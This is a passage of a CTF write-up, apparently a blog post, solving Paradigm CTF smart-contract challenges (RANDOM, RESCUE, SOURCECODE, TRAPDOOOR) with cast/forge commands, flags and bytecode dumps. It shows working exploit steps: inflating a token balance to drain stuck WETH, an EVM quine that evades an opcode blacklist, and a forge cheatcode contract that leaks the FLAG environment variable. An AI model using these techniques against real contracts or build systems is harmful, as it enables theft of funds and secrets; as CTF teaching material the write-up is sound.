href="https://ctf.paradigm.xyz/resources/random.zip">https://ctf.paradigm.xyz/resources/random.zip</a></p><p>In this challenge, two Solidity contracts are given in the zip file as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/0*JbxMJb6GQKw1GdsJ.png" /><figcaption><strong>Setup.sol</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sH70X0dQQaQeQlV8.png" /><figcaption><strong>Random.sol</strong></figcaption></figure><p>This challenge is a simple sanity-check for EVM. What you need to do is to call the solve() function with 4 as the parameter to match the return value from the _getRandomNumber() function.</p><p>The instance can be started by accessing the server provided in the challenge.</p><pre>$ nc 34.66.135.107 31337<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 1<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589be2862d78e3</pre><pre>your private blockchain has been deployed<br>it will automatically terminate in 30 minutes<br>here&#39;s some useful information<br>uuid:           5a0028b7-3585-40ad-a5d8-7a7d98e8c713<br>rpc endpoint:   http://34.66.135.107:8545/5a0028b7-3585-40ad-a5d8-7a7d98e8c713<br>private key:    0x646dde707bb4a5091716a57ec944d90d7a078b7121a7d6f0350a2ec298820daa<br>setup contract: 0x9e837C1e0bF4E47C922B0237b676bBB8ac15a502</pre><p>The challenge server provided us with the RPC URL, private key, and the address of the Setup contract.</p><p>What we need to solve this challenge is the address of the Random contract.</p><p>We got the address from the Setup contract by calling random() function using cast as follows:</p><pre>$ cast call --rpc-url http://34.66.135.107:8545/5a0028b7-3585-40ad-a5d8-7a7d98e8c713 0x9e837C1e0bF4E47C922B0237b676bBB8ac15a502 &quot;random()&quot;<br>0x00000000000000000000000031a91af1e135324f344f96757703aa11ff214e51</pre><p>From the output, the Random contract is at the address 0x31a91af1e135324f344f96757703aa11ff214e51. Therefore, we called the solve() function as follows:</p><pre>$ cast send --rpc-url http://34.66.135.107:8545/5a0028b7-3585-40ad-a5d8-7a7d98e8c713 --private-key 0x646dde707bb4a5091716a57ec944d90d7a078b7121a7d6f0350a2ec298820daa 0x31a91af1e135324f344f96757703aa11ff214e51 &quot;solve(uint256)&quot; 4</pre><p>The transaction was successfully executed, so we accessed the server again to get the flag.</p><pre>$ nc 34.66.135.107 31337<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 3<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589be2862d78e3<br>PCTF{IT5_C7F_71M3}</pre><p><strong>Flag:</strong> PCTF{IT5_C7F_71M3}</p><h4>RESCUE</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*a6pj-HAL3n-ixWtN.png" /></figure><p><strong>CHALLENGE:</strong> RESCUE<br><strong>AUTHOR:</strong> Riley Holterhus<br><strong>TAGS:</strong> PWN<br><strong>DESCRIPTION:</strong> I accidentally sent some WETH to a contract, can you help me?<br><strong>ACCESS:</strong> nc 34.123.187.206 31337<br><strong>RESOURCES:</strong><br><a href="https://github.com/paradigmxyz/paradigm-ctf-infrastructure">https://github.com/paradigmxyz/paradigm-ctf-infrastructure</a><br><a href="https://ctf.paradigm.xyz/resources/rescue.zip">https://ctf.paradigm.xyz/resources/rescue.zip</a></p><p>Three Solidity files are provided for this challenge.</p><p>From the Setup contract, we can see that 10 $WETH is transferred to the MasterChefHelper contract in the constructor. From the isSolved() function, our goal is to make the $WETH balance of the MasterChefHelper contract to be zero to solve this challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AdeXq6a5o0Xff2KO.png" /><figcaption><strong>Setup.sol</strong></figcaption></figure><p>The MasterChefHelper contract has one external function, swapTokenForPoolToken(), which takes a token, divides it in half, swap it into two tokens of the pool specified, and add liquidity using those tokens.</p><p>We can see that when the _addLiquidity() function is called, the whole balance of both tokens are used to calculate the LP amount to get. Therefore, if we can add liquidity using a pool with $WETH as one of the tokens, we can use the $WETH stuck in the contract to get the LP token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ICs29RGxDejhaYje.png" /><figcaption><strong>MasterChefHelper.sol</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ton-dhwlVfgN9p3-.png" /><figcaption><strong>UniswapV2Like.sol</strong></figcaption></figure><p>However, as our initial token is swapped to two tokens in the pool, there are some conditions that we need to fulfill:</p><ol><li>One of the tokens in the pool must be $WETH in order for the token stuck to be added to the liquidity pool.</li><li>The tokenIn must not be one of the tokens in the pool selected, because a token cannot be swapped to the same token via the router.</li><li>There must be liquidity available for the swap from tokenIn to tokenOut0 and tokenIn to tokenOut1.</li></ol><p>To find the tokenIn and poolId that we can use, we started a challenge instance and wrote a simple web3 script to get the data of each pools.</p><pre>$ nc 34.66.135.107 31337<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 1<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589be2862d78e3</pre><pre>your private blockchain has been deployed<br>it will automatically terminate in 30 minutes<br>here&#39;s some useful information<br>uuid:           b1dcfc76-608d-43df-873f-5a8051100d7c<br>rpc endpoint:   http://34.66.135.107:8545/b1dcfc76-608d-43df-873f-5a8051100d7c<br>private key:    0x535c61af66de70ff3707a58225e2fd1d159b57350b99e9eb67412cd2019121ad<br>setup contract: 0x3982455E39F78c850AB5E80D81Ce41aa5B3CE6C7</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nweFFW_odcuN_jT6.png" /><figcaption><strong>fetchPools.js</strong></figcaption></figure><p>By running the script above, we got the following output:</p><pre>0 0x06da0fd433C1A5d7a4faa01111c044910A184553 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 0xdAC17F958D2ee523a2206206994597C13D831ec7<br>1 0x397FF1542f962076d0BFE58eA045FfA2d347ACa0 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>2 0xC3D03e4F041Fd4cD388c549Ee2A29a9E5075882f 0x6B175474E89094C44Da98b954EedeAC495271d0F 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>3 0xF1F85b2C54a2bD284B1cf4141D64fD171Bd85539 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>4 0x31503dcb60119A812feE820bb7042752019F2355 0xc00e94Cb662C3520282E6f5717214004A7f26888 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>5 0x5E63360E891BD60C69445970256C260b0A6A54c6 0x80fB784B7eD66730e8b1DBd9820aFD29931aab03 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>6 0xA1d7b2d891e3A1f9ef4bBC5be20630C2FEB1c470 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>7 0x001b6450083E531A5a7Bf310BD2c1Af4247E23D4 0x04Fa0d235C4abf4BcF4787aF4CF447DE572eF828 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>8 0xC40D16476380e4037e6b1A2594cAF6a6cc8Da967 0x514910771AF9Ca656af840dff83E8264EcF986CA 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>9 0xA75F7c2F025f470355515482BdE9EFA8153536A8 0xBA11D00c5f74255f56a5E366F4F77f5A186d7f55 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>10 0xCb2286d9471cc185281c4f763d34A962ED212962 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 0xD46bA6D942050d489DBd938a2C909A5d5039A161<br>11 0x088ee5007C98a9677165D78dD2109AE4a3D04d0C 0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>12 0x795065dCc9f64b5614C407a6EFDC400DA6221FB0 0x6B3595068778DD592e39A122f4f5a5cF09C90fE2 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>13 0x611CDe65deA90918c0078ac0400A72B0D25B9bb1 0x408e41876cCCDC0F92210600ef50372656052a38 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>14 0xaAD22f5543FCDaA694B68f94Be177B561836AE57 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51 0x68A118Ef45063051Eac49c7e647CE5Ace48a68a5<br>15 0x117d4288B3635021a3D612FE05a3Cbf5C717fEf2 0x476c5E26a75bd202a9683ffD34359C0CC15be0fF 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>16 0x95b54C8Da12BB23F7A5F6E26C38D04aCC6F81820 0xAba8cAc6866B83Ae4eec97DD07ED254282f6aD8A 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>17 0x58Dc5a51fE44589BEb22E8CE67720B5BC5378009 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 0xD533a949740bb3306d119CC777fa900bA034cd52<br>18 0xDafd66636E2561b0284EDdE37e42d192F2844D40 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>19 0x36e2FCCCc59e5747Ff63a03ea2e5C0c2C14911e7 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>20 0x0Cfe7968e7c34A51217a7C9b9dc1690F416E027e 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643 0x6B175474E89094C44Da98b954EedeAC495271d0F<br>21 0xCEfF51756c56CeFFCA006cD410B03FFC46dd3a58 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>22 0xf169CeA51EB51774cF107c88309717ddA20be167 0x2ba592F78dB6436527729929AAf6c908497cB200 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>23 0x17b3C19Bd640a59E832AB73eCcF716CB47419846 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 0xD5525D397898e5502075Ea5E830d8914f6F0affe<br>24 0xFcff3b04C499A57778ae2CF05584ab24278A7FCb 0x0d438F3b5175Bebc262bF23753C1E53d03432bDE 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>25 0x382c4a5147Fd4090F7BE3A9Ff398F95638F5D39E 0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>26 0x2024324a99231509a3715172d4F4f4E751b38d4d 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c<br>27 0x0be88ac4b5C81700acF3a606a52a31C261a24A35 0xA0b73E1Ff0B80914AB6fe0444E65848C4C34450b 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2<br>28 0x518d6CE2D7A689A591Bf46433443C31615b206C5 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 0xEB4C2781e4ebA804CE9a9803C67d0893436bB27D</pre><p>We found that the token 0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c can be swapped to $WETH (0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2) through pool id 25, and can also be swapped to 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 through pool id 26.</p><p>We also found that pool id 21 contains both 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 and 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2.</p><p>To fulfill all of the conditions mentioned, we can use 0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c as the tokenIn, and 21 as the poolId.</p><p>To get all of $WETH out from the MasterChefHelper contract, we need the final before the calling of _addLiquidity() to have the same ratio with the liquidity pool, or have more of 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 to send all WETH to the liquidity pool.</p><p>We wrote a contract to help us perform the following actions:</p><ol><li>Deposit 11 $ETH to get 11 $WETH</li><li>Buy 0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c using 0.1 $WETH</li><li>Buy 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 using 10.9 $WETH</li><li>Send the bought 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 to MasterChefHelper contract to inflate the balance of the token</li><li>Call MasterChefHelper.swapTokenForPoolToken()</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8hoxWDgM72a96xIG.png" /><figcaption><strong>Solve.sol</strong></figcaption></figure><p>The contract was deployed using forge with the following command:</p><pre>$ forge create --rpc-url http://34.123.187.206:8545/b1dcfc76-608d-43df-873f-5a8051100d7c --private-key 0x535c61af66de70ff3707a58225e2fd1d159b57350b99e9eb67412cd2019121ad rescue/public/contracts/Solve.sol:Solve --json<br>{&quot;deployedTo&quot;:&quot;0xacd7eA38623bED853c71B2E2386B3B4bC4eEe48C&quot;,&quot;deployer&quot;:&quot;0x2d60598B659634B1337d3757928800d796F43896&quot;,&quot;transactionHash&quot;:&quot;0x63c96471ddfd7daa0846e328222b721562185bd230ba290e9f3068fd5369e2cc&quot;}</pre><p>We then sent 11 $ETH to the contract we deployed and execute the solve() function with the following commands:</p><pre>$ cast send --rpc-url http://34.123.187.206:8545/b1dcfc76-608d-43df-873f-5a8051100d7c --private-key 0x535c61af66de70ff3707a58225e2fd1d159b57350b99e9eb67412cd2019121ad 0xacd7eA38623bED853c71B2E2386B3B4bC4eEe48C --value 11000000000000000000</pre><pre>$ cast send --rpc-url http://34.123.187.206:8545/b1dcfc76-608d-43df-873f-5a8051100d7c --private-key 0x535c61af66de70ff3707a58225e2fd1d159b57350b99e9eb67412cd2019121ad 0xacd7eA38623bED853c71B2E2386B3B4bC4eEe48C &quot;solve()&quot;</pre><p>After that, we connected to the server to get the flag.</p><pre>$ nc 34.66.135.107 31337<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 3<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589be2862d78e3<br>PCTF{MuCH_4PPr3C1473_53r}</pre><p><strong>Flag:</strong> PCTF{MuCH_4PPr3C1473_53r}</p><h4>SOURCECODE</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/0*cTIptqETBakbsfJU.png" /></figure><p><strong>CHALLENGE:</strong> SOURCECODE<br><strong>DESCRIPTION:</strong> Fixed point EVM bytecode<br><strong>ACCESS:</strong> nc 34.136.156.228 31337<br><strong>RESOURCES:</strong><br><a href="https://github.com/paradigmxyz/paradigm-ctf-infrastructure">https://github.com/paradigmxyz/paradigm-ctf-infrastructure</a><br><a href="https://ctf.paradigm.xyz/resources/sourcecode.zip">https://ctf.paradigm.xyz/resources/sourcecode.zip</a></p><p>To solve this challenge, we need to craft a smart contract that return its own bytecode as an output without having any of the blacklisted opcodes as checked in the safe() function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qHLwCVu5JI13hF5C.png" /><figcaption><strong>Challenge.sol</strong></figcaption></figure><p>Our first thought was to craft an EVM bytecode to return the contract code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*M7AuLJ8d68q3KWhz.png" /></figure><p>However, the bytecode above does not work since the codesize (0x38) and codecopy (0x39) opcodes were filtered by safe() function.</p><p>We know that a program that returns itself as an output is called “quine”. We did a quick search and found quine.etk, a smart contract that returns its own source code.</p><p>Ref: <a href="https://gist.github.com/karmacoma-eth/220b58b7cd32d649fa1a15e70b6d8bff">https://gist.github.com/karmacoma-eth/220b58b7cd32d649fa1a15e70b6d8bff</a></p><p>However, the quine.etk is using the CALLVALUE opcode, which is restricted by the safe() function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*y3IL-b7pXYUF9FQe.png" /><figcaption><strong>quine.etk</strong></figcaption></figure><p>We applied the same idea and changed the callvalue instruction to other instruction, and pad the bytecode with the STOP instructions, which is 0x00 bytecodes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jo_M7BkFv-DmUcY4.png" /><figcaption><strong>dupper.bc</strong></figcaption></figure><pre>$ evmasm -a &lt; dupper.bc                                       <br>0x80607f60005360015260215260416000f3000000000000000000000000000000</pre><p>Then we changed the PUSH16 instruction to PUSH32 followed by the bytecode of dupper.bc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8Fnr6Co-PS6qdJNC.png" /><figcaption><strong>exploit.bc</strong></figcaption></figure><p>We then compiled the opcodes to get the bytecodes in hex format.</p><pre>$ evmasm -a &lt; exploit.bc<br>0x7f80607f60005360015260215260416000f300000000000000000000000000000080607f60005360015260215260416000f3000000000000000000000000000000</pre><p>The challenge instance was started by connecting to the server.</p><pre>$ nc 34.136.156.228 31337<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 1<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589aec9d3b74eb976eea8b</pre><pre>your private blockchain has been deployed<br>it will automatically terminate in 30 minutes<br>here&#39;s some useful information<br>uuid:           bf8d3ead-f772-47ff-84e1-02626c1f1717<br>rpc endpoint:   http://34.136.156.228:8545/bf8d3ead-f772-47ff-84e1-02626c1f1717<br>private key:    0x3931407bce0423348620b49d59df21964d68b4b69d718b9373f7b06930196bb9<br>setup contract: 0x108FFf3C96C1054c44cBAcfCf931fAA77c7d4715</pre><p>We called the challenge() function to get the address of the challenge smart contract.</p><pre>$ cast call --rpc-url http://34.136.156.228:8545/bf8d3ead-f772-47ff-84e1-02626c1f1717 0x108FFf3C96C1054c44cBAcfCf931fAA77c7d4715 &quot;challenge()&quot;<br>0x000000000000000000000000b4ee4924c6dccb4c4e0d4872a9d84b8db17043ac</pre><p>We then called the solve() function and used the bytecode from above as the parameter.</p><pre>cast send --rpc-url http://34.136.156.228:8545/bf8d3ead-f772-47ff-84e1-02626c1f1717 --private-key 0x3931407bce0423348620b49d59df21964d68b4b69d718b9373f7b06930196bb9 0xb4ee4924c6dccb4c4e0d4872a9d84b8db17043ac &quot;solve(bytes)&quot; -- 0x7f80607f60005360015260215260416000f300000000000000000000000000000080607f60005360015260215260416000f3000000000000000000000000000000</pre><p>The transaction was executed successfully, this means that our bytecode works. So we connected to the server to get the flag:</p><pre>$ nc 34.136.156.228 31337`<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 3<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589aec9d3b74eb976eea8b<br>PCTF{QUiNE_QuiNe_qU1n3}</pre><p><strong>Flag:</strong> PCTF{QUiNE_QuiNe_qU1n3}</p><h4>TRAPDOOOR</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/0*IgRv-jTucJxO22gD.png" /></figure><p><strong>CHALLENGE:</strong> TRAPDOOOR<br><strong>AUTHOR:</strong> samczsun<br><strong>TAGS:</strong> PWN<br><strong>DESCRIPTION:</strong> In theoretical computer science and cryptography, a trapdoor function is a function that is easy to compute in one direction, yet difficult to compute in the opposite direction (finding its inverse) without special information, called the “trapdoor”.<br><strong>ACCESS: </strong>nc 34.68.217.8 31337<br><strong>RESOURCES:</strong><br><a href="https://github.com/paradigmxyz/paradigm-ctf-infrastructure">https://github.com/paradigmxyz/paradigm-ctf-infrastructure</a><br><a href="https://ctf.paradigm.xyz/resources/trapdooor.zip">https://ctf.paradigm.xyz/resources/trapdooor.zip</a></p><p>For this challenge, you need to send your contract bytecode to the server to factorize a number into two primes correctly. Your bytecode will be replaced in the Script.sol contract, and the execution will be done using forge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3JtHO5E0-l6pFyzt.png" /><figcaption><strong>chal.py</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*o0676nRQP-JWCS6d.png" /><figcaption><strong>Script.sol</strong></figcaption></figure><p>We know that forge contains cheatcodes (<a href="https://book.getfoundry.sh/forge/cheatcodes">https://book.getfoundry.sh/forge/cheatcodes</a>); therefore, we used the envString() cheatcode function to get the value of the FLAG environment variable. As we only see the number that results from our factorization as the output, we split the flag into two parts, and encode each part as bytes,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VvdlNz6EKShwmyoS.png" /><figcaption><strong>Factorizor.sol</strong></figcaption></figure><p>We then compiled our contract, and execute it to get the runtime bytecode.</p><pre>$ cat out/Factorizor.sol/Factorizor.json | jq &#39;.bytecode.object&#39;<br>&quot;0x608060405234801561001057600080fd5b50610279806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c63430008100033&quot;</pre><pre>$ evm-run --code 0x608060405234801561001057600080fd5b50610279806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c63430008100033                                                                                                                                                         code 608060405234801561001057600080FD5B50610279806100206000396000F3FE608060405234801561001057600080FD5B506004361061002B5760003560E01C80631B3ABBA014610030575B600080FD5B61004361003E36600461014A565B61005C565B6040805192835260208301919091520160405180910390F35B60405163F877CB1960E01B81526000908190737109709ECFA91A80626FF3989D68F67F5B1DD12D908290829063F877CB19906100B390600401602080825260049082015263464C414760E01B604082015260600190565B6000604051808303816000875AF11580156100D2573D6000803E3D6000FD5B505050506040513D6000823E601F3D908101601F191682016040526100FA9190810190610179565B90506000610109826020610126565B90506000610118836040610126565B919791965090945050505050565B81516000908390820361013D575060009050610144565B5050818101515B92915050565B60006020828403121561015C57600080FD5B5035919050565B634E487B7160E01B600052604160045260246000FD5B6000602080838503121561018C57600080FD5B825167FFFFFFFFFFFFFFFF808211156101A457600080FD5B818501915085601F8301126101B857600080FD5B8151818111156101CA576101CA610163565B604051601F8201601F19908116603F011681019083821181831017156101F2576101F2610163565B81604052828152888684870101111561020A57600080FD5B600093505B8284101561022C578484018601518185018701529285019261020F565B60008684830101528096505050505050509291505056FEA26469706673582212209120A8F35834F204AF3746D2B256675B3C4330670545B904B6D04F680CAA247F64736F6C63430008100033<br>60 PUSH1<br>60 PUSH1 Stack: 80<br>52 MSTORE Stack: 40,80<br>34 CALLVALUE           Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080<br>80 DUP1      Stack: 0  Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080<br>15 ISZERO    Stack: 0,0 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080<br>61 PUSH2     Stack: 1,0 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080<br>57 JUMPI     Stack: 10,1,0 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080<br>5b JUMPDEST  Stack: 0      Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080<br>50 POP       Stack: 0      Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080<br>61 PUSH2                   Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080<br>80 DUP1      Stack: 279    Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080<br>61 PUSH2     Stack: 279,279 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080<br>60 PUSH1     Stack: 20,279,279 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080<br>39 CODECOPY  Stack: 0,20,279,279 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080<br>60 PUSH1     Stack: 279          Memory: 608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c6343000810003300000000000000<br>f3 RETURN    Stack: 0,279        Memory: 608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c6343000810003300000000000000<br>Returned: 608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c43306